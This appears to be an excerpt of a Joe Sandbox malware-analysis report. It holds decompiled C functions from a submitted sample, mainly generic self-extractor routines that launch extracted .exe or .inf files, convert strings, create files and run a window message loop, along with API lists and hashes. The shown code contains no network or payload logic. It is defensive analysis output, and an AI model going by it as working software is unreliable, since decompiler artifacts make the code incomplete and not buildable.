				if(0x1040 >= 0x7f6) {
					goto L55;
				} else {
					_t86 = 0x3c;
					E0025F1A0(_t86,  &_a4, 0, _t86);
					_t80 = _a4172;
					_t98 = _t98 + 0xc;
					_a4.cbSize = _t86;
					_a8 = 0x1c0;
					if(_t80 != 0) {
						_a8 = 0x5c0;
					}
					_t81 =  *_t91 & 0x0000ffff;
					_t87 =  &(_t91[1]);
					_push(_t94);
					_t95 = 0x22;
					if(_t81 != _t95) {
						_t87 = _t91;
					}
					_a20 = _t87;
					_t57 = _t77;
					if(_t81 == 0) {
						L13:
						_t58 = _a24;
						L14:
						if(_t58 == 0 ||  *_t58 == _t77) {
							if(_t80 == 0 &&  *0x28a472 != _t77) {
								_a24 = 0x28a472;
							}
						}
						_a32 = 1;
						_t88 = E0024B3D3(_t87);
						if(_t88 != 0 && E00251708(_t88, L".inf") == 0) {
							_a16 = L"Install";
						}
						if(E0024A0C0(_a20) != 0) {
							E0024B179(_a20,  &_a64, 0x800);
							_a8 =  &_a52;
						}
						_t54 = ShellExecuteExW( &_a4); // executed
						if(_t54 != 0) {
							_t93 = _a4160;
							if( *0x288468 != _t77 || _a4168 != _t77 ||  *0x29dc91 != _t77) {
								if(_t93 != 0) {
									_push(_t93);
									if( *0x2a10a4() != 0) {
										ShowWindow(_t93, _t77);
										_t77 = 1;
									}
								}
								 *0x2a10a0(_a56, 0x7d0);
								E0025D163(_a48);
								if( *0x29dc91 != 0 && _a4160 == 0 && GetExitCodeProcess(_a48,  &_v12) != 0) {
									_t68 = _v12;
									if(_t68 >  *0x29dc94) {
										 *0x29dc94 = _t68;
									}
									 *0x29dc92 = 1;
								}
							}
							CloseHandle(_a48);
							if(_t88 == 0 || E00251708(_t88, L".exe") != 0) {
								_t54 = _a4160;
								if( *0x288468 != 0 && _t54 == 0 &&  *0x29dc91 == _t54) {
									 *0x29dc98 = 0x1b58;
								}
							} else {
								_t54 = _a4160;
							}
							if(_t77 != 0 && _t54 != 0) {
								_t54 = ShowWindow(_t93, 1);
							}
						}
						goto L55;
					}
					_t82 = _t91;
					_v0 = 0x20;
					do {
						if( *_t82 == _t95) {
							while(1) {
								_t57 = _t57 + 1;
								if(_t91[_t57] == _t77) {
									break;
								}
								if(_t91[_t57] == _t95) {
									_t83 = _v0;
									_t91[_t57] = _t83;
									L10:
									if(_t91[_t57] == _t83 ||  *((short*)(_t91 + 2 + _t57 * 2)) == 0x2f) {
										if(_t91[_t57] == _v0) {
											_t91[_t57] = 0;
										}
										_t58 =  &(_t91[_t57 + 1]);
										_a24 = _t58;
										goto L14;
									} else {
										goto L12;
									}
								}
							}
						}
						_t83 = _v0;
						goto L10;
						L12:
						_t57 = _t57 + 1;
						_t82 =  &(_t91[_t57]);
					} while ( *_t82 != _t77);
					goto L13;
				}
			}

0x0025cc9f
0x0025cc9f
0x0025cca4
0x0025ccab
0x0025ccb2
0x0025ccb7
0x0025cf05
0x0025cf0d
0x0025cf0d
0x0025ccbe
0x0025ccc9
0x00000000
0x0025cccf
0x0025ccd2
0x0025ccda
0x0025ccdf
0x0025cce6
0x0025cce9
0x0025cced
0x0025ccf7
0x0025ccf9
0x0025ccf9
0x0025cd01
0x0025cd04
0x0025cd07
0x0025cd0a
0x0025cd0e
0x0025cd10
0x0025cd10
0x0025cd12
0x0025cd16
0x0025cd1b
0x0025cd53
0x0025cd53
0x0025cd57
0x0025cd5a
0x0025cd63
0x0025cd6e
0x0025cd6e
0x0025cd63
0x0025cd77
0x0025cd84
0x0025cd88
0x0025cd99
0x0025cd99
0x0025cdac
0x0025cdbc
0x0025cdc5
0x0025cdc5
0x0025cdce
0x0025cdd6
0x0025cddc
0x0025cde9
0x0025cdfe
0x0025ce00
0x0025ce09
0x0025ce0d
0x0025ce13
0x0025ce13
0x0025ce09
0x0025ce1e
0x0025ce28
0x0025ce34
0x0025ce53
0x0025ce5d
0x0025ce5f
0x0025ce5f
0x0025ce64
0x0025ce64
0x0025ce34
0x0025ce6f
0x0025ce77
0x0025ce8f
0x0025ce96
0x0025cea4
0x0025cea4
0x0025ceec
0x0025ceec
0x0025ceec
0x0025cef5
0x0025cefe
0x0025cefe
0x0025cef5
0x00000000
0x0025cf04
0x0025cd1d
0x0025cd1f
0x0025cd27
0x0025cd2a
0x0025ceb6
0x0025ceb6
0x0025cebb
0x00000000
0x00000000
0x0025ceb4
0x0025cec2
0x0025cec6
0x0025cd34
0x0025cd38
0x0025ced7
0x0025cedb
0x0025cedb
0x0025cee0
0x0025cee3
0x00000000
0x00000000
0x00000000
0x00000000
0x0025cd38
0x0025ceb4
0x0025cebd
0x0025cd30
0x00000000
0x0025cd4a
0x0025cd4a
0x0025cd4b
0x0025cd4e
0x00000000
0x0025cd27

APIs

ShellExecuteExW.SHELL32(?), ref: 0025CDCE
ShowWindow.USER32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0025CE0D
GetExitCodeProcess.KERNEL32 ref: 0025CE49
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0025CE6F
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0025CEFE

Part of subcall function 00251708: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011708,0024BA45,00000000,.exe,?,?,00000800,?,?,0025854F,?), ref: 0025171E

Strings

.inf, xrefs: 0025CD8A
.exe, xrefs: 0025CE79
, xrefs: 0025CD1F

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $.exe$.inf
API String ID: 3686203788-2452507128
Opcode ID: 9e3cdc7cfeda62f2039e5d8a3785455958d0fa9212338f05cd1a9329e3147fd8
Instruction ID: 05b918f88695829c7a1568e57add59aec54a1c58e8e8417d276a0be8fcb62540
Opcode Fuzzy Hash: 9e3cdc7cfeda62f2039e5d8a3785455958d0fa9212338f05cd1a9329e3147fd8
Instruction Fuzzy Hash: 0961D3704253829EDB319F20D80566BBBF5AF81706F24482EECC493151FBB189ACDB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00269ED8 Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00269ED8(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				int _t58;
				signed int _t60;
				short* _t62;
				signed int _t66;
				short* _t70;
				int _t71;
				int _t78;
				short* _t81;
				signed int _t87;
				signed int _t90;
				void* _t95;
				void* _t96;
				int _t98;
				short* _t101;
				int _t103;
				signed int _t106;
				short* _t107;
				void* _t110;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x27d668; // 0xdef7aace
				_v8 = _t49 ^ _t106;
				_push(__esi);
				_t103 = _a20;
				if(_t103 > 0) {
					_t78 = E0026E52C(_a16, _t103);
					_t110 = _t78 - _t103;
					_t4 = _t78 + 1; // 0x1
					_t103 = _t4;
					if(_t110 >= 0) {
						_t103 = _t78;
					}
				}
				_t98 = _a32;
				if(_t98 == 0) {
					_t98 =  *( *_a4 + 8);
					_a32 = _t98;
				}
				_t54 = MultiByteToWideChar(_t98, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t103, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					return E0025EA8A(_v8 ^ _t106);
				} else {
					_t95 = _t54 + _t54;
					_t85 = _t95 + 8;
					asm("sbb eax, eax");
					if((_t95 + 0x00000008 & _t54) == 0) {
						_t81 = 0;
						__eflags = 0;
						L14:
						if(_t81 == 0) {
							L36:
							_t105 = 0;
							L37:
							E0026A140(_t81);
							goto L38;
						}
						_t58 = MultiByteToWideChar(_t98, 1, _a16, _t103, _t81, _v12);
						_t121 = _t58;
						if(_t58 == 0) {
							goto L36;
						}
						_t100 = _v12;
						_t60 = E0026A5AC(_t85, _t103, _t121, _a8, _a12, _t81, _v12, 0, 0, 0, 0, 0); // executed
						_t105 = _t60;
						if(_t105 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t96 = _t105 + _t105;
							_t87 = _t96 + 8;
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							__eflags = _t87 & _t60;
							if((_t87 & _t60) == 0) {
								_t101 = 0;
								__eflags = 0;
								L30:
								__eflags = _t101;
								if(__eflags == 0) {
									L35:
									E0026A140(_t101);
									goto L36;
								}
								_t62 = E0026A5AC(_t87, _t105, __eflags, _a8, _a12, _t81, _v12, _t101, _t105, 0, 0, 0);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t105 = WideCharToMultiByte(_a32, 0, _t101, _t105, ??, ??, ??, ??);
								__eflags = _t105;
								if(_t105 != 0) {
									E0026A140(_t101);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t90 = _t96 + 8;
							__eflags = _t96 - _t90;
							asm("sbb eax, eax");
							_t66 = _t60 & _t90;
							_t87 = _t96 + 8;
							__eflags = _t66 - 0x400;
							if(_t66 > 0x400) {
								__eflags = _t96 - _t87;
								asm("sbb eax, eax");
								_t101 = E00268398(_t87, _t66 & _t87);
								_pop(_t87);
								__eflags = _t101;
								if(_t101 == 0) {
									goto L35;
								}
								 *_t101 = 0xdddd;
								L28:
								_t101 =  &(_t101[4]);
								goto L30;
							}
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							E00271870();
							_t101 = _t107;
							__eflags = _t101;
							if(_t101 == 0) {
								goto L35;
							}
							 *_t101 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t125 = _t105 - _t70;
						if(_t105 > _t70) {
							goto L36;
						}
						_t71 = E0026A5AC(0, _t105, _t125, _a8, _a12, _t81, _t100, _a24, _t70, 0, 0, 0);
						_t105 = _t71;
						if(_t71 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t95 + 0x00000008;
					_t85 = _t95 + 8;
					if((_t54 & _t95 + 0x00000008) > 0x400) {
						__eflags = _t95 - _t85;
						asm("sbb eax, eax");
						_t81 = E00268398(_t85, _t72 & _t85);
						_pop(_t85);
						__eflags = _t81;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t81 = 0xdddd;
						L12:
						_t81 =  &(_t81[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E00271870();
					_t81 = _t107;
					if(_t81 == 0) {
						goto L36;
					}
					 *_t81 = 0xcccc;
					goto L12;
				}
			}

0x00269edd
0x00269ede
0x00269edf
0x00269ee6
0x00269eea
0x00269eeb
0x00269ef1
0x00269ef7
0x00269efd
0x00269f00
0x00269f00
0x00269f03
0x00269f05
0x00269f05
0x00269f03
0x00269f07
0x00269f0c
0x00269f13
0x00269f16
0x00269f16
0x00269f32
0x00269f38
0x00269f3d
0x0026a0d0
0x0026a0e3
0x00269f43
0x00269f43
0x00269f46
0x00269f4b
0x00269f4f
0x00269fa3
0x00269fa3
0x00269fa5
0x00269fa7
0x0026a0c5
0x0026a0c5
0x0026a0c7
0x0026a0c8
0x00000000
0x0026a0ce
0x00269fb8
0x00269fbe
0x00269fc0
0x00000000
0x00000000
0x00269fc6
0x00269fd8
0x00269fdd
0x00269fe1
0x00000000
0x00000000
0x00269fee
0x0026a028
0x0026a02b
0x0026a02e
0x0026a030
0x0026a032
0x0026a034
0x0026a080
0x0026a080
0x0026a082
0x0026a082
0x0026a084
0x0026a0be
0x0026a0bf
0x00000000
0x0026a0c4
0x0026a098
0x0026a09d
0x0026a09f
0x00000000
0x00000000
0x0026a0a3
0x0026a0a4
0x0026a0a5
0x0026a0a8
0x0026a0e4
0x0026a0e7
0x0026a0aa
0x0026a0aa
0x0026a0ab
0x0026a0ab
0x0026a0b8
0x0026a0ba
0x0026a0bc
0x0026a0ed
0x00000000
0x00000000
0x00000000
0x00000000
0x0026a0bc
0x0026a036
0x0026a039
0x0026a03b
0x0026a03d
0x0026a03f
0x0026a042
0x0026a047
0x0026a062
0x0026a064
0x0026a06e
0x0026a070
0x0026a071
0x0026a073
0x00000000
0x00000000
0x0026a075
0x0026a07b
0x0026a07b
0x00000000
0x0026a07b
0x0026a049
0x0026a04b
0x0026a04f
0x0026a054
0x0026a056
0x0026a058
0x00000000
0x00000000
0x0026a05a
0x00000000
0x0026a05a
0x00269ff0
0x00269ff5
0x00000000
0x00000000
0x00269ffb
0x00269ffd
0x00000000
0x00000000
0x0026a014
0x0026a019
0x0026a01d
0x00000000
0x00000000
0x00000000
0x0026a023
0x00269f56
0x00269f58
0x00269f5a
0x00269f62
0x00269f81
0x00269f83
0x00269f8d
0x00269f8f
0x00269f90
0x00269f92
0x00000000
0x00000000
0x00269f98
0x00269f9e
0x00269f9e
0x00000000
0x00269f9e
0x00269f66
0x00269f6a
0x00269f6f
0x00269f73
0x00000000
0x00000000
0x00269f79
0x00000000
0x00269f79

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00264DDB,00264DDB,?,?,?,0026A129,00000001,00000001,7FE85006), ref: 00269F32
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0026A129,00000001,00000001,7FE85006,?,?,?), ref: 00269FB8
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,7FE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0026A0B2
__freea.LIBCMT ref: 0026A0BF

Part of subcall function 00268398: RtlAllocateHeap.NTDLL(00000000,?,?,?,00263866,?,0000015D,?,?,?,?,00264D42,000000FF,00000000,?,?), ref: 002683CA

__freea.LIBCMT ref: 0026A0C8
__freea.LIBCMT ref: 0026A0ED

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: c31dd468c6f4b852e083b8932549b0e39788e0e66887d563e543c0f50b2283d6
Instruction ID: cc121d3c3253bca087f9dc13abf513c7307825b543ef58b661ec1239bfd83fc0
Opcode Fuzzy Hash: c31dd468c6f4b852e083b8932549b0e39788e0e66887d563e543c0f50b2283d6
Instruction Fuzzy Hash: B151F272620216AFDB258E64CC41FBF77A9EB40750F154668FD09E7140EB35ECE48EA2

Uniqueness

Uniqueness Score: -1.00%

Function 0025A245 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0025A245(long _a4) {
				short _v164;
				long _t5;
				long _t6;
				WCHAR* _t9;
				long _t11;

				_t11 = _a4;
				_t5 = GetClassNameW(_t11,  &_v164, 0x50);
				if(_t5 != 0) {
					_t9 = L"EDIT";
					_t5 = E00251708( &_v164, _t9);
					if(_t5 != 0) {
						_t5 = FindWindowExW(_t11, 0, _t9, 0); // executed
						_t11 = _t5;
					}
				}
				if(_t11 != 0) {
					_t6 = SHAutoComplete(_t11, 0x10); // executed
					return _t6;
				}
				return _t5;
			}

0x0025a255
0x0025a25c
0x0025a264
0x0025a267
0x0025a274
0x0025a27b
0x0025a283
0x0025a289
0x0025a289
0x0025a28b
0x0025a28e
0x0025a293
0x00000000
0x0025a293
0x0025a29d

APIs

GetClassNameW.USER32(?,?,00000050), ref: 0025A25C
SHAutoComplete.SHLWAPI(?,00000010), ref: 0025A293

Part of subcall function 00251708: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011708,0024BA45,00000000,.exe,?,?,00000800,?,?,0025854F,?), ref: 0025171E

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 0025A283

Strings

pldv, xrefs: 0025A293
EDIT, xrefs: 0025A267, 0025A272, 0025A27F

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT$pldv
API String ID: 4243998846-1058243852
Opcode ID: 49527c32c458cfceb091fc35b32d2969f63440ec90c15f8985b8f7359cb733f7
Instruction ID: a07357cf647d363e0b8605eebd73827472c0a824e936676c156174ba2db960ca
Opcode Fuzzy Hash: 49527c32c458cfceb091fc35b32d2969f63440ec90c15f8985b8f7359cb733f7
Instruction Fuzzy Hash: 06F0E932A1132977D7205A555C0AFAB776C9B46B22F040156FD04E2180D771996589FA

Uniqueness

Uniqueness Score: -1.00%

Function 00249950 Relevance: 7.6, APIs: 5, Instructions: 116
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00249950(void* __ecx, void* __esi, struct _FILETIME _a4, signed int _a8, short _a12, WCHAR* _a4184, unsigned int _a4188) {
				long _v0;
				void* _t48;
				long _t59;
				unsigned int _t61;
				long _t64;
				signed int _t65;
				char _t68;
				void* _t72;
				void* _t74;
				long _t78;
				void* _t81;

				_t74 = __esi;
				E0025E1C0();
				_t61 = _a4188;
				_t72 = __ecx;
				 *(__ecx + 0x1020) =  *(__ecx + 0x1020) & 0x00000000;
				if( *((char*)(__ecx + 0x1d)) != 0 || (_t61 & 0x00000004) != 0) {
					_t68 = 1;
				} else {
					_t68 = 0;
				}
				_push(_t74);
				asm("sbb esi, esi");
				_t78 = ( ~(_t61 >> 0x00000001 & 1) & 0xc0000000) + 0x80000000;
				if((_t61 & 0x00000001) != 0) {
					_t78 = _t78 | 0x40000000;
				}
				_t64 =  !(_t61 >> 3) & 0x00000001;
				if(_t68 != 0) {
					_t64 = _t64 | 0x00000002;
				}
				_v0 = (0 |  *((intOrPtr*)(_t72 + 0x15)) != 0x00000000) - 0x00000001 & 0x08000000;
				E00247098( &_a12);
				if( *((char*)(_t72 + 0x1c)) != 0) {
					_t78 = _t78 | 0x00000100;
				}
				_t48 = CreateFileW(_a4184, _t78, _t64, 0, 3, _v0, 0); // executed
				_t81 = _t48;
				if(_t81 != 0xffffffff) {
					L17:
					if( *((char*)(_t72 + 0x1c)) != 0 && _t81 != 0xffffffff) {
						_a4.dwLowDateTime = _a4.dwLowDateTime | 0xffffffff;
						_a8 = _a8 | 0xffffffff;
						SetFileTime(_t81, 0,  &_a4, 0);
					}
					 *((char*)(_t72 + 0x12)) = 0;
					_t65 = _t64 & 0xffffff00 | _t81 != 0xffffffff;
					 *((intOrPtr*)(_t72 + 0xc)) = 0;
					 *((char*)(_t72 + 0x10)) = 0;
					if(_t81 != 0xffffffff) {
						 *(_t72 + 4) = _t81;
						E0024FD96(_t72 + 0x1e, _a4184, 0x800);
					}
					return _t65;
				} else {
					_a4.dwLowDateTime = GetLastError();
					if(E0024B5AC(_a4184,  &_a12, 0x800) == 0) {
						L15:
						if(_a4.dwLowDateTime == 2) {
							 *((intOrPtr*)(_t72 + 0x1020)) = 1;
						}
						goto L17;
					}
					_t81 = CreateFileW( &_a12, _t78, _t64, 0, 3, _v0, 0);
					_t59 = GetLastError();
					if(_t59 == 2) {
						_a4.dwLowDateTime = _t59;
					}
					if(_t81 != 0xffffffff) {
						goto L17;
					} else {
						goto L15;
					}
				}
			}

0x00249950
0x00249955
0x0024995b
0x00249964
0x00249966
0x00249971
0x0024997c
0x00249978
0x00249978
0x00249978
0x00249982
0x0024998a
0x00249992
0x0024999b
0x0024999d
0x0024999d
0x002499a8
0x002499ad
0x002499af
0x002499af
0x002499c4
0x002499c8
0x002499d1
0x002499d3
0x002499d3
0x002499ec
0x002499f2
0x002499f7
0x00249a5b
0x00249a60
0x00249a67
0x00249a70
0x00249a7b
0x00249a7b
0x00249a86
0x00249a89
0x00249a8c
0x00249a8f
0x00249a95
0x00249aa6
0x00249aaa
0x00249aaa
0x00249aba
0x002499f9
0x002499ff
0x00249a1b
0x00249a4a
0x00249a4f
0x00249a51
0x00249a51
0x00000000
0x00249a4f
0x00249a34
0x00249a36
0x00249a3f
0x00249a41
0x00249a41
0x00249a48
0x00000000
0x00000000
0x00000000
0x00000000
0x00249a48

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,00247886,?,00000005,?,00000011), ref: 002499EC
GetLastError.KERNEL32(?,?,00247886,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 002499F9
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,00000000,00000800,?,?,00247886,?,00000005,?), ref: 00249A2E
GetLastError.KERNEL32(?,?,00247886,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00249A36
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00247886,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00249A7B

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 9738eeb677f6152033f2b8805ef38d8bbc0b3eafafd71d43655563bca894378e
Instruction ID: 0cacb9fc8e6fc1e853eb4b0fe0f85033aae754a753aaa1cd6d1af09c992fc185
Opcode Fuzzy Hash: 9738eeb677f6152033f2b8805ef38d8bbc0b3eafafd71d43655563bca894378e
Instruction Fuzzy Hash: 34414530954756AFE7289F209C09BDBBBE0FB01324F100719F9A4921D0D775A8ECCBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0025ABC4 Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0025ABC4() {
				struct tagMSG _v32;
				int _t7;
				struct HWND__* _t10;
				long _t14;

				_t7 = PeekMessageW( &_v32, 0, 0, 0, 0); // executed
				if(_t7 != 0) {
					GetMessageW( &_v32, 0, 0, 0);
					_t10 =  *0x287438; // 0x103e2
					if(_t10 == 0) {
						L3:
						TranslateMessage( &_v32);
						_t14 = DispatchMessageW( &_v32); // executed
						return _t14;
					}
					_t7 = IsDialogMessageW(_t10,  &_v32);
					if(_t7 == 0) {
						goto L3;
					}
				}
				return _t7;
			}

0x0025abd5
0x0025abdd
0x0025abe6
0x0025abec
0x0025abf3
0x0025ac04
0x0025ac08
0x0025ac12
0x00000000
0x0025ac12
0x0025abfa
0x0025ac02
0x00000000
0x00000000
0x0025ac02
0x0025ac1c

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0025ABD5
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0025ABE6
IsDialogMessageW.USER32(000103E2,?), ref: 0025ABFA
TranslateMessage.USER32(?), ref: 0025AC08
DispatchMessageW.USER32(?), ref: 0025AC12

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: a5a6929799625e3d11676d1e6def2609d75a611912d7be2e6ae9688733b5df17
Instruction ID: 6281419fed56b632e1f88b754398970e56ac5a0013c38c9d14bcae0c7b3a448e
Opcode Fuzzy Hash: a5a6929799625e3d11676d1e6def2609d75a611912d7be2e6ae9688733b5df17
Instruction Fuzzy Hash: 61F0127190125AAB8B209FE2AC4DDEB7F6CEE062A2B404115BD09D2010EA34D455C7F0

Uniqueness

Uniqueness Score: -1.00%

Function 0025A2B3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0025A2B3(intOrPtr* __ecx) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _t10;

				_t10 = E0024FFE3(L"riched20.dll"); // executed
				 *__ecx = _t10;
				 *0x2a117c(0); // executed
				_v16 = 8;
				_v12 = 0x7ff;
				 *0x2a1034( &_v16); // executed
				_v32 = 1;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				L0025E094(); // executed
				 *0x2a1088(0x287430,  &_v8,  &_v32, 0); // executed
				return __ecx;
			}

0x0025a2c2
0x0025a2c9
0x0025a2cc
0x0025a2d5
0x0025a2dd
0x0025a2e4
0x0025a2ee
0x0025a2f9
0x0025a2fd
0x0025a300
0x0025a303
0x0025a30d
0x0025a31a

APIs

Part of subcall function 0024FFE3: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 0024FFFE
Part of subcall function 0024FFE3: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0024EAC6,Crypt32.dll,00000000,0024EB4A,?,?,0024EB2C,?,?,?), ref: 00250020

OleInitialize.OLE32(00000000), ref: 0025A2CC
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0025A303
SHGetMalloc.SHELL32(00287430), ref: 0025A30D

Strings

riched20.dll, xrefs: 0025A2BB

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
